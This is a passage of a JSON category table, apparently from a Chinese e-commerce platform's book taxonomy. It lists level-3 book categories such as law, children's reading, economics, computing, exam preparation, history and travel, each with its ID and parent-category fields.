:false},{"id":23127,"name":"旅游/地理","parent_cid":20327,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23131,"name":"漫画/动漫/杂志","parent_cid":20327,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23140,"name":"期刊杂志","parent_cid":20327,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23141,"name":"社会科学","parent_cid":20327,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23128,"name":"生活/保健","parent_cid":20327,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23132,"name":"外语/语言文字","parent_cid":20327,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23122,"name":"文化","parent_cid":20327,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23123,"name":"文学","parent_cid":20327,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23121,"name":"小说","parent_cid":20327,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23124,"name":"艺术","parent_cid":20327,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23120,"name":"医学","parent_cid":20327,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23135,"name":"育儿书","parent_cid":20327,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22857,"name":"财经人物","parent_cid":20296,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22856,"name":"法律人物","parent_cid":20296,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22826,"name":"教育家","parent_cid":20296,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22852,"name":"军事人物","parent_cid":20296,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22828,"name":"科学家","parent_cid":20296,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22806,"name":"领袖/政治人物","parent_cid":20296,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22853,"name":"历史人物","parent_cid":20296,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22855,"name":"普通百姓","parent_cid":20296,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22805,"name":"人物/传记其它","parent_cid":20296,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22823,"name":"体育界","parent_cid":20296,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22827,"name":"文学家","parent_cid":20296,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22829,"name":"音乐家","parent_cid":20296,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22849,"name":"艺术家/建筑设计","parent_cid":20296,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22824,"name":"医学家","parent_cid":20296,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22847,"name":"娱乐圈/影星/歌星","parent_cid":20296,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22825,"name":"哲学家","parent_cid":20296,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22779,"name":"综合","parent_cid":20296,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22978,"name":"国家/地区概况","parent_cid":20311,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22980,"name":"交通地图","parent_cid":20311,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22984,"name":"旅游地图册/集","parent_cid":20311,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22985,"name":"世界行政区划图","parent_cid":20311,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22986,"name":"中国行政区划图","parent_cid":20311,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23362,"name":"儿童文学","parent_cid":20352,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23361,"name":"绘本/图画书/少儿动漫书","parent_cid":20352,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23363,"name":"科普百科","parent_cid":20352,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23373,"name":"启蒙认知书/黑白卡/识字卡","parent_cid":20352,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23369,"name":"少儿艺术/手工贴纸书/涂色书","parent_cid":20352,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23370,"name":"益智游戏/立体翻翻书/玩具书","parent_cid":20352,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23368,"name":"幼儿早教/少儿英语/数学","parent_cid":20352,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23364,"name":"自由组套","parent_cid":20352,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23374,"name":"其它儿童读物","parent_cid":20352,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22848,"name":"财政法/经济法","parent_cid":20304,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22920,"name":"法律汇编/法律法规","parent_cid":20304,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22880,"name":"法律其它","parent_cid":20304,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22835,"name":"法律史","parent_cid":20304,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22881,"name":"法律实务","parent_cid":20304,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22949,"name":"法律文书写作","parent_cid":20304,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22950,"name":"法律知识读物","parent_cid":20304,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22850,"name":"犯罪学/刑事侦查学","parent_cid":20304,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22879,"name":"法学理论","parent_cid":20304,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22938,"name":"港澳台地区/特别行政区基本法","parent_cid":20304,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22951,"name":"高等法律教材","parent_cid":20304,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22846,"name":"国家法/宪法","parent_cid":20304,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22834,"name":"国际法","parent_cid":20304,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22970,"name":"劳动与社会保障法","parent_cid":20304,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22784,"name":"民法","parent_cid":20304,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22783,"name":"商法","parent_cid":20304,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22948,"name":"世界各国法律","parent_cid":20304,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22919,"name":"司法案例/实务解析","parent_cid":20304,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22915,"name":"司法鉴定/法医学","parent_cid":20304,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22878,"name":"司法制度","parent_cid":20304,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22837,"name":"诉讼法","parent_cid":20304,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22851,"name":"土地法/农业经济管理法令","parent_cid":20304,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22782,"name":"刑法","parent_cid":20304,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22836,"name":"行政法","parent_cid":20304,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22973,"name":"自然资源与环境保护法","parent_cid":20304,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23221,"name":"百科全书","parent_cid":20334,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23216,"name":"标准","parent_cid":20334,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23219,"name":"汉语/辞典","parent_cid":20334,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23218,"name":"年鉴/年刊","parent_cid":20334,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23217,"name":"色卡","parent_cid":20334,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23223,"name":"图书目录文摘索引","parent_cid":20334,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23220,"name":"专业辞典","parent_cid":20334,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23222,"name":"其它工具书","parent_cid":20334,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23089,"name":"电工技术/家电维修","parent_cid":20322,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23085,"name":"电信通信","parent_cid":20322,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23073,"name":"电子/通信","parent_cid":20322,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23086,"name":"电子电路","parent_cid":20322,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23093,"name":"工业技术其它","parent_cid":20322,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23088,"name":"航空航天","parent_cid":20322,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23084,"name":"环境科学","parent_cid":20322,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23081,"name":"化学工业","parent_cid":20322,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23072,"name":"建筑/水利","parent_cid":20322,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23071,"name":"交通/运输","parent_cid":20322,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23082,"name":"家用电器","parent_cid":20322,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23083,"name":"机械工程","parent_cid":20322,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23087,"name":"矿业技术","parent_cid":20322,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23096,"name":"能源与动力工程","parent_cid":20322,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23068,"name":"农业","parent_cid":20322,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23069,"name":"汽车","parent_cid":20322,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23076,"name":"轻工业/手工业","parent_cid":20322,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23070,"name":"石油 天然气工业","parent_cid":20322,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23080,"name":"冶金工业","parent_cid":20322,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23091,"name":"原子能技术","parent_cid":20322,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23092,"name":"自动化技术","parent_cid":20322,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22894,"name":"财务管理","parent_cid":20306,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22971,"name":"创业企业和企业家","parent_cid":20306,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22892,"name":"电子商务","parent_cid":20306,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22934,"name":"供应链管理","parent_cid":20306,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22890,"name":"广告营销","parent_cid":20306,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22893,"name":"管理其它","parent_cid":20306,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22936,"name":"管理学理论/MBA","parent_cid":20306,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22838,"name":"领导学","parent_cid":20306,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22886,"name":"企业管理","parent_cid":20306,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22968,"name":"企业经营与管理","parent_cid":20306,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22885,"name":"人力资源","parent_cid":20306,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22889,"name":"商务谈判","parent_cid":20306,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22888,"name":"商务写作","parent_cid":20306,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22887,"name":"商业史传","parent_cid":20306,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22969,"name":"生产与运作管理","parent_cid":20306,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22896,"name":"项目管理","parent_cid":20306,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22891,"name":"战略管理","parent_cid":20306,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23395,"name":"婚姻","parent_cid":20359,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23396,"name":"恋爱","parent_cid":20359,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23403,"name":"运动健身","parent_cid":20357,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22839,"name":"保险业","parent_cid":20307,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22799,"name":"财政/货币/税收","parent_cid":20307,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22935,"name":"各部门经济","parent_cid":20307,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22924,"name":"国际贸易/世界各国贸易","parent_cid":20307,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22959,"name":"国民经济管理","parent_cid":20307,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22958,"name":"国内贸易经济","parent_cid":20307,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22787,"name":"会计","parent_cid":20307,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22926,"name":"经济计划/经济计算及方法","parent_cid":20307,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22899,"name":"经济理论","parent_cid":20307,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22898,"name":"经济其它","parent_cid":20307,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22841,"name":"经济史","parent_cid":20307,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22788,"name":"金融","parent_cid":20307,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22900,"name":"贸易政策","parent_cid":20307,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22897,"name":"区域经济","parent_cid":20307,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22840,"name":"商品学","parent_cid":20307,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22972,"name":"世界及各国经济概况","parent_cid":20307,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22921,"name":"税务理论/实用税务","parent_cid":20307,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22901,"name":"通货膨胀","parent_cid":20307,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22796,"name":"统计 审计","parent_cid":20307,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22922,"name":"中国经济/中国经济史","parent_cid":20307,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23430,"name":"儿童读物原版书","parent_cid":20360,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23423,"name":"法律类原版书","parent_cid":20360,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23419,"name":"工具书原版书","parent_cid":20360,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23426,"name":"管理类原版书","parent_cid":20360,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23416,"name":"健康类原版书","parent_cid":20360,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23427,"name":"经济类原版书","parent_cid":20360,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23428,"name":"考试类原版书","parent_cid":20360,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23431,"name":"科普读物原版书","parent_cid":20360,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23435,"name":"科学技术类原版书","parent_cid":20360,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23422,"name":"旅游类原版书","parent_cid":20360,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23424,"name":"漫画类原版书","parent_cid":20360,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23432,"name":"人文社科类原版书","parent_cid":20360,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23434,"name":"社会科学类原版书","parent_cid":20360,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23425,"name":"生活类原版书","parent_cid":20360,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23420,"name":"文化类原版书","parent_cid":20360,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23421,"name":"文学类原版书","parent_cid":20360,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23418,"name":"小说类原版书","parent_cid":20360,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23429,"name":"艺术类原版书","parent_cid":20360,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23417,"name":"原版期刊杂志","parent_cid":20360,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23415,"name":"原版其它","parent_cid":20360,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23433,"name":"娱乐时尚类原版书","parent_cid":20360,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23436,"name":"自然科学类原版书","parent_cid":20360,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23165,"name":"安全与加密","parent_cid":20330,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23168,"name":"办公自动化软件","parent_cid":20330,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23159,"name":"操作系统","parent_cid":20330,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23160,"name":"程序设计","parent_cid":20330,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23172,"name":"计算机安全与密码学","parent_cid":20330,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23175,"name":"计算机辅助设计和工程","parent_cid":20330,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23176,"name":"计算机控制仿真与人工智能","parent_cid":20330,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23171,"name":"计算机理论和方法","parent_cid":20330,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23170,"name":"计算机软件工程","parent_cid":20330,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23166,"name":"计算机手册","parent_cid":20330,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23169,"name":"计算机系统结构","parent_cid":20330,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23173,"name":"计算机系统结构其它","parent_cid":20330,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23174,"name":"计算机硬件组装、维护","parent_cid":20330,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23162,"name":"软件工程","parent_cid":20330,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23157,"name":"数据库","parent_cid":20330,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23163,"name":"图形图像/多媒体","parent_cid":20330,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23161,"name":"网络通信","parent_cid":20330,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23164,"name":"网站设计/网页设计语言","parent_cid":20330,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23158,"name":"信息系统","parent_cid":20330,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23167,"name":"其它计算机/网络书籍","parent_cid":20330,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23043,"name":"高等成人教育","parent_cid":20315,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":34394,"name":"高职高专教材教辅","parent_cid":20315,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23040,"name":"公务员考试","parent_cid":20315,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23033,"name":"会计/证券/经济/金融职称考试","parent_cid":20315,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23047,"name":"建筑工程类职称考试","parent_cid":20315,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23031,"name":"教材","parent_cid":20315,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23045,"name":"计算机等级考试/认证","parent_cid":20315,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23032,"name":"考研","parent_cid":20315,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23034,"name":"论文集","parent_cid":20315,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23041,"name":"社会实用教材","parent_cid":20315,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23037,"name":"司法考试","parent_cid":20315,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23038,"name":"外语考试","parent_cid":20315,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23042,"name":"艺术体育考试","parent_cid":20315,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23046,"name":"医药卫生类职称考试","parent_cid":20315,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23035,"name":"中小学教辅","parent_cid":20315,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23048,"name":"自由组套(仅限弱关联套装书)","parent_cid":20315,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23044,"name":"其它类职称考试","parent_cid":20315,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":23095,"name":"科学发明研究/创造学","parent_cid":20323,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23075,"name":"科学学","parent_cid":20323,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23097,"name":"科学研究方法论","parent_cid":20323,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23094,"name":"科学研究组织/管理/工作方法","parent_cid":20323,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23077,"name":"情报学/情报工作","parent_cid":20323,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23099,"name":"世界各国科学研究事业","parent_cid":20323,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23074,"name":"知识学","parent_cid":20323,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":23090,"name":"专利研究/技术标准研究","parent_cid":20323,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22917,"name":"地方史志/民族史志","parent_cid":20298,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22939,"name":"历史知识读物","parent_cid":20298,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22830,"name":"世界史","parent_cid":20298,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22858,"name":"史学理论","parent_cid":20298,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22797,"name":"文物/考古","parent_cid":20298,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22831,"name":"中国史","parent_cid":20298,"level":3,"enable":1,"is_leaf":false,"industry_status":2,"extra":null,"is_get_child":true},{"id":22947,"name":"导游专业用书","parent_cid":20303,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22961,"name":"国内旅游指南/攻略","parent_cid":20303,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22962,"name":"国外旅游指南/攻略","parent_cid":20303,"level":3,"enable":1,"is_leaf":true,"industry_status":2,"extra":null,"is_get_child":false},{"id":22965,"name":"旅游理论与